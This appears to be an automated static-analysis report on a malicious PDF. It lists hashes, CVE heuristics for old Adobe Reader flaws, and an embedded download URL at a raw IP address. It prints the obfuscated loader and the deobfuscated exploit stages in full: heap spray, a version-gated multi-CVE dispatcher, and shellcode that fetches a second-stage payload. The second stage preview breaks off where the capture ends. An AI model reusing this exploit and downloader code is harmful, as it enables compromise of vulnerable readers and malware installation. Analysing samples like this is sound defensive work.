Malicious PDF — malware analysis report

Static analysis result for SHA-256 e45fd4a5d76132cd…

MALICIOUS

PDF

12.3 KB First seen: 2026-05-09
MD5: c71bbd5de0d9996332e97c525e7a7503 SHA-1: f9a17a087c1ba755c49da6ab5368a92cd6699003 SHA-256: e45fd4a5d76132cd4f7fd4957a8b5447bdb50342b06db25dffab2716ef5a655a
490 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, named javascript_obj0076_000.js, is the primary mechanism for malicious execution, likely serving as a downloader for further stages.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=21&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11519 bytes
SHA-256: 41ba546263160552e12186cf8a8740946c84bf47e2ff66b7f962e3cd6a80d2de
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(27,68,74,59,74,16,19,16,11,11,17,9,3,53,7,16,35,18,48,0,21,21,35,18,68,50,59,33,35,18,48,42,68,50,35,18,2,42,59,33,35,18,59,31,0,33,35,18,0,0,42,68,35,18,21,33,50,8,35,18,33,8,48,17,35,18,48,17,0,8,35,18,8,50,33,8,35,18,2,8,48,17,35,18,42,21,19,50,35,18,2,21,48,17,35,18,0,0,8,48,35,18,21,21,37,17,35,18,42,59,48,17,35,18,8,0,0,50,35,18,0,0,2,33,35,18,48,19,65,50,35,18,19,42,59,59,35,18,68,68,19,8,35,18,17,48,68,68,35,18,33,8,48,17,35,18,50,0,0,8,35,18,0,31,33,21,35,18,2,42,8,21,35,18,48,2,68,17,35,18,65,33,0,33,35,18,59,33,48,42,35,18,42,19,2,42,35,18,59,17,59,31,35,18,42,19,33,50,35,18,48,17,42,21,35,18,0,50,2,42,35,18,2,33,48,17,35,18,2,48,0,42,35,18,68,42,8,0,35,18,48,17,42,21,35,18,65,8,2,21,35,18,68,42,8,0,35,18,50,31,0,0,35,18,33,19,33,31,35,18,10,37,68,50,35,18,50,42,8,0,35,18,37,17,0,0,35,18,17,59,8,68,35,18,0,48,19,8,35,18,2,33,68,65,35,18,50,19,8,48,35,18,8,37,50,17,35,18,37,10,8,0,35,18,59,17,33,8,35,18,0,17,68,19,35,18,2,42,19,68,35,18,42,59,59,21,35,18,42,59,48,17,35,18,8,0,65,33,35,18,21,21,37,37,35,18,8,50,48,17,35,18,48,37,33,17,35,18,59,50,33,21,35,18,42,33,68,68,35,18,8,50,65,33,35,18,37,48,48,17,35,18,37,37,8,0,35,18,8,33,48,17,35,18,8,0,48,17,35,18,10,17,50,42,35,18,42,31,42,59,35,18,59,17,50,0,35,18,10,37,42,0,35,18,21,48,48,17,35,18,48,8,65,8,35,18,8,50,2,37,35,18,2,33,0,0,35,18,31,21,8,0,35,18,68,0,59,17,35,18,21,48,48,17,35,18,48,17,8,48,35,18,21,10,68,2,35,18,42,31,8,42,35,18,31,48,59,48,35,18,68,68,68,68,35,18,59,65,68,68,35,18,59,48,68,31,35,18,8,8,8,8,35,18,8,8,8,8,35,18,42,8,42,48,35,18,33,8,21,10,35,18,68,68,21,48,35,18,8,8,8,8,35,18,42,8,8,8,35,18,50,8,48,0,35,18,42,8,19,31,35,18,48,17,42,42,35,18,48,17,59,50,35,18,19,8,42,59,35,18,50,0,48,0,35,18,68,68,8,42,35,18,21,48,59,0,35,18,21,59,21,68,35,18,8,8,8,8,35,18,2,42,21,48,35,18,21,50,2,65,35,18,42,33,21,37,35,18,19,21,68,68,35,18,50,33,48,0,35,18,48,17,8,48,35,18,59,48,59,48,35,18,68,68,21,19,35,18,68,68,68,68,35,18,8,65,59,17,35,18,2,65,59,17,35,18,59,50,48,19,35,18,8,19,8,33,35,18,8,8,8,8,35,18,42,50,48,37,35,18,8,50,65,33,35,18,8,33,50,2,35,18,2,65,65,33,35,18,21,2,21,42,35,18,50,2,2,0,35,18,65,33,33,33,35,18,2,21,8,33,35,18,0,0,2,65,35,18,50,2,0,65,35,18,65,33,33,33,35,18,65,8,8,48,35,18,2,0,65,37,35,18,42,0,65,8,35,18,68,48,21,48,35,18,8,8,8,8,35,18,68,68,8,8,35,18,8,50,42,21,35,18,59,48,48,17,35,18,50,31,0,0,35,18,50,2,42,19,35,18,19,37,33,33,35,18,2,2,8,8,35,18,21,65,2,8,35,18,50,2,2,33,35,18,19,37,33,33,35,18,65,59,8,42,35,18,21,50,21,33,35,18,50,21,21,50,35,18,19,37,33,33,35,18,8,8,8,31,35,18,48,10,42,31,35,18,8,33,50,19,35,18,48,48,0,8,35,18,19,37,33,33,35,18,33,19,8,33,35,18,21,10,42,19,35,18,21,10,8,8,35,18,42,0,8,8,35,18,21,10,42,2,35,18,68,68,8,8,35,18,19,33,42,21,35,18,50,8,48,42,35,18,19,21,2,42,35,18,8,8,21,10,35,18,68,68,42,0,35,18,8,33,42,21,35,18,8,8,21,10,35,18,59,17,48,0,35,18,42,0,8,50,35,18,42,21,68,68,35,18,48,0,8,33,35,18,8,50,50,0,35,18,8,65,59,17,35,18,19,0,59,17,35,18,48,8,33,2,35,18,8,8,0,68,35,18,68,10,2,42,35,18,48,8,33,2,35,18,8,8,0,68,35,18,50,33,2,42,35,18,8,8,21,10,35,18,68,59,21,10,35,18,42,21,68,68,35,18,59,48,8,48,35,18,68,59,31,50,35,18,68,68,68,68,35,18,33,59,48,59,35,18,59,50,8,59,35,18,68,59,31,48,35,18,8,59,48,10,35,18,21,68,48,31,35,18,17,37,8,19,35,18,50,10,0,0,35,18,42,17,48,10,35,18,50,21,19,17,35,18,2,31,33,21,35,18,19,10,0,21,35,18,2,8,65,68,35,18,2,33,21,48,35,18,2,8,2,33,35,18,65,68,0,10,35,18,0,21,65,68,35,18,65,59,0,21,35,18,0,31,0,19,35,18,65,59,0,31,35,18,0,65,0,65,35,18,65,59,0,31,35,18,0,8,0,42,35,18,2,2,65,68,35,18,2,8,65,59,35,18,2,8,21,48,35,18,21,21,0,68,35,18,0,65,0,37,35,18,65,21,0,19,35,18,0,37,21,42,35,18,8,8,0,42,35,18,8,8,8,8,16,36,68,18,51,50,44,27,29,51,20,59,32,45,70,74,70,10,61,46,22,11,63,23,5,27,26,59,74,70,10,40,26,59,51,53,44,5,25,65,62,46,22,11,63,70,10,24,7,70,10,36,28,70,10,7,70,10,40,3,18,17,3,44,70,27,51,53,74,8,61,46,22,13,65,11,36,70,59,44,18,70,51,20,70,10,36,28,20,68,18,51,50,44,27,29,51,20,17,55,74,11,63,45,10,70,20,37,38,53,7,51,59,23,20,75,70,70,10,22,74,11,36,45,10,70,20,45,23,7,8,55,8,50,8,50,8,50,8,50,36,45,10,70,20,10,37,37,70,7,8,55,33,8,8,8,8,8,36,45,10,70,20,15,10,22,26,29,10,37,7,18,51,59,3,50,10,15,59,74,17,9,3,53,11,36,45,10,70,20,3,50,1,26,59,51,7,15,10,22,26,29,10,37,40,26,59,51,53,44,5,25,65,36,45,10,70,20,46,22,7,10,37,37,70,67,74,3,50,1,26,59,51,24,8,55,0,48,11,36,45,10,70,20,22,10,70,3,15,7,18,51,59,3,50,10,15,59,74,4,35,18,31,8,31,8,35,18,31,8,31,8,4,11,36,22,10,70,3,15,7,59,32,45,70,74,22,10,70,3,15,61,46,22,11,36,45,10,70,20,50,29,18,51,44,65,7,74,45,23,67,8,55,33,8,8,8,8,8,11,13,10,37,37,70,36,68,29,70,74,45,10,70,20,50,29,18,51,44,7,8,36,50,29,18,51,44,62,50,29,18,51,44,65,36,50,29,18,51,44,24,24,11,63,37,38,53,64,50,29,18,51,44,69,7,22,10,70,3,15,24,15,10,22,26,29,10,37,36,28,20,45,10,70,20,29,45,59,70,68,26,29,23,7,18,51,59,3,50,10,15,59,74,4,35,18,8,50,8,50,35,18,8,50,8,50,4,11,36,23,5,27,26,59,74,29,45,59,70,68,26,29,23,40,26,59,51,53,44,5,62,33,33,31,42,65,11,63,29,45,59,70,68,26,29,23,24,7,29,45,59,70,68,26,29,23,36,28,20,44,5,27,3,40,50,29,26,26,10,17,73,44,29,70,59,7,49,29,26,26,10,17,40,50,29,26,26,59,50,44,71,12,10,27,26,30,51,68,29,74,63,3,18,17,9,43,4,4,61,12,3,53,43,29,45,59,70,68,26,29,23,28,11,36,28,20,68,18,51,50,44,27,29,51,20,15,70,27,51,44,68,74,11,63,51,29,15,7,18,51,59,3,50,10,15,59,74,4,35,18,8,75,8,75,35,18,8,75,8,75,35,18,8,75,8,75,35,18,8,75,8,75,4,11,36,45,10,70,20,15,10,22,26,29,10,37,7,18,51,59,3,50,10,15,59,74,17,9,3,53,11,36,5,59,10,15,17,26,29,50,38,7,51,29,15,24,15,10,22,26,29,10,37,36,17,27,53,17,26,29,50,38,7,18,51,59,3,50,10,15,59,74,4,35,18,8,75,8,75,35,18,8,75,8,75,4,11,36,5,59,10,37,59,70,3,27,32,59,7,65,8,36,3,15,70,10,22,7,5,59,10,37,59,70,3,27,32,59,24,5,59,10,15,17,26,29,50,38,40,26,59,51,53,44,5,36,23,5,27,26,59,74,17,27,53,17,26,29,50,38,40,26,59,51,53,44,5,62,3,15,70,10,22,11,63,17,27,53,17,26,29,50,38,24,7,17,27,53,17,26,29,50,38,36,28,20,68,27,26,26,17,26,29,50,38,7,17,27,53,17,26,29,50,38,40,3,18,17,3,44,70,27,51,53,74,8,61,3,15,70,10,22,11,36,17,26,29,50,38,7,17,27,53,17,26,29,50,38,40,3,18,17,3,44,70,27,51,53,74,8,61,17,27,53,17,26,29,50,38,40,26,59,51,53,44,5,67,3,15,70,10,22,11,36,23,5,27,26,59,74,17,26,29,50,38,40,26,59,51,53,44,5,24,3,15,70,10,22,62,8,55,33,8,8,8,8,11,63,17,26,29,50,38,7,17,26,29,50,38,24,17,26,29,50,38,24,68,27,26,26,17,26,29,50,38,36,28,20,12,59,12,7,51,59,23,20,75,70,70,10,22,74,11,36,68,29,70,74,27,7,8,36,27,62,19,33,8,8,36,27,24,24,11,63,12,59,12,64,27,69,7,17,26,29,50,38,24,5,59,10,15,17,26,29,50,38,36,28,20,45,10,70,20,51,18,12,7,19,65,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,36,18,44,27,26,40,15,70,27,51,44,68,74,4,35,33,42,8,8,8,68,4,61,51,18,12,11,36,28,20,68,18,51,50,44,27,29,51,20,53,59,44,27,50,29,51,74,11,63,45,10,70,20,10,70,70,22,7,51,59,23,20,75,70,70,10,22,74,11,36,27,68,74,10,15,15,40,37,29,50,40,49,29,26,26,10,17,40,53,59,44,30,50,29,51,11,63,45,10,70,20,15,10,22,26,29,10,37,7,18,51,59,3,50,10,15,59,74,17,9,3,53,11,36,45,10,70,20,5,34,46,42,8,8,49,54,7,15,10,22,26,29,10,37,40,26,59,51,53,44,5,25,65,36,45,10,70,20,46,22,7,8,55,33,8,8,8,8,8,67,74,5,34,46,42,8,8,49,54,24,8,55,0,48,11,36,45,10,70,20,22,10,70,3,15,7,18,51,59,3,50,10,15,59,74,4,35,18,31,8,31,8,35,18,31,8,31,8,4,11,36,22,10,70,3,15,7,59,32,45,70,74,22,10,70,3,15,61,46,22,11,36,45,10,70,20,15,42,75,9,58,21,42,68,7,74,8,55,8,50,8,50,8,50,8,50,67,8,55,33,8,8,8,8,8,11,13,8,55,33,8,8,8,8,8,36,68,29,70,74,45,10,70,20,45,46,50,41,66,31,21,22,7,8,36,45,46,50,41,66,31,21,22,62,15,42,75,9,58,21,42,68,36,45,46,50,41,66,31,21,22,24,24,11,63,10,70,70,22,64,45,46,50,41,66,31,21,22,69,7,22,10,70,3,15,24,15,10,22,26,29,10,37,36,28,20,45,10,70,20,44,57,72,5,54,17,52,23,7,18,51,59,3,50,10,15,59,74,4,35,8,31,4,11,36,23,5,27,26,59,74,44,57,72,5,54,17,52,23,40,26,59,51,53,44,5,62,8,55,33,8,8,8,11,63,44,57,72,5,54,17,52,23,24,7,44,57,72,5,54,17,52,23,36,28,20,44,57,72,5,54,17,52,23,7,4,54,40,4,24,44,57,72,5,54,17,52,23,36,10,15,15,40,37,29,50,40,49,29,26,26,10,17,40,53,59,44,30,50,29,51,74,44,57,72,5,54,17,52,23,11,36,28,28,20,10,6,26,18,53,27,51,3,7,10,15,15,40,15,26,18,53,30,51,3,36,45,10,70,20,3,45,7,15,10,70,3,59,30,51,44,74,10,15,15,40,45,27,59,23,59,70,39,59,70,3,27,29,51,40,44,29,73,44,70,27,51,53,74,11,40,50,5,10,70,75,44,74,8,11,11,36,68,29,70,74,45,10,70,20,27,7,8,36,27,62,10,6,26,18,53,27,51,3,40,26,59,51,53,44,5,36,27,24,24,11,63,27,68,74,10,6,26,18,53,27,51,3,64,27,69,40,51,10,12,59,7,7,16,71,73,50,70,27,15,44,16,11,63,45,10,70,20,26,45,7,10,6,26,18,53,27,51,3,64,27,69,40,45,59,70,3,27,29,51,36,28,28,20,27,68,74,74,26,45,7,7,31,11,56,56,74,74,3,45,7,7,48,11,14,14,74,26,45,62,7,48,40,19,65,11,11,11,63,53,59,44,27,50,29,51,74,11,36,28,59,26,3,59,20,27,68,74,26,45,7,7,2,40,19,11,63,15,70,27,51,44,68,74,11,36,28,59,26,3,59,20,27,68,74,74,74,3,45,7,7,21,11,56,56,74,3,45,7,7,2,11,11,14,14,74,26,45,62,2,40,19,19,11,11,63,17,55,74,11,36,28,59,26,3,59,20,27,68,74,74,26,45,60,7,31,40,19,11,56,56,74,26,45,62,7,31,40,65,11,56,56,74,26,45,60,7,48,40,19,0,11,56,56,74,26,45,62,7,48,40,19,2,11,11,63,68,18,51,50,44,27,29,51,20,10,74,11,63,18,44,27,26,40,15,70,27,51,44,37,74,16,15,47,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,20,43,20,22,22,22,22,19,19,19,16,61,51,59,23,20,66,10,44,59,74,11,11,36,28,45,10,70,20,5,7,10,15,15,40,15,26,18,53,30,51,3,36,68,29,70,74,45,10,70,20,68,7,8,36,68,62,5,40,26,59,51,53,44,5,36,68,24,24,11,63,27,68,74,5,64,68,69,40,51,10,12,59,7,7,16,71,73,50,70,27,15,44,16,11,63,45,10,70,20,27,7,5,64,68,69,40,45,59,70,3,27,29,51,36,28,28,20,27,68,74,74,27,60,48,40,19,65,11,14,14,74,27,62,48,40,65,11,11,63,50,7,51,59,23,20,75,70,70,10,22,74,11,36,45,10,70,20,37,7,18,51,59,3,50,10,15,59,74,16,35,18,31,8,31,8,35,18,31,8,31,8,16,11,36,45,10,70,20,59,7,18,51,59,3,50,10,15,59,74,17,9,3,53,11,36,23,5,27,26,59,74,37,40,26,59,51,53,44,5,62,7,8,55,48,8,8,8,11,63,37,24,7,37,36,28,37,7,37,40,3,18,17,3,44,70,74,8,61,8,55,48,8,8,8,67,59,40,26,59,51,53,44,5,11,36,68,29,70,74,68,7,8,36,68,62,65,31,8,8,36,68,24,24,11,63,50,64,68,69,7,37,24,59,36,28,10,74,11,36,10,74,11,36,44,70,22,63,44,5,27,3,40,12,59,37,27,10,40,51,59,23,6,26,10,22,59,70,74,51,18,26,26,11,36,28,50,10,44,50,5,74,59,11,63,28,10,74,11,36,28,28);
a=new String("3_7s'hP=0ja)m/&p'bu1 6yw+*li}oI9z4W%;dkV.Q5:tvq@8CcnGgNx|UKe>,<{[2D-f]rEMS(A");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: d10f7defbead5cb7f65067eff6cdd50c5057e819aac45c407af63dc538a6b659
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u323d%u2631%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 9258249605e3720740727c29b24aedff2de02496518f7e6be2d64b8814406127
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u323d%u2631%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var 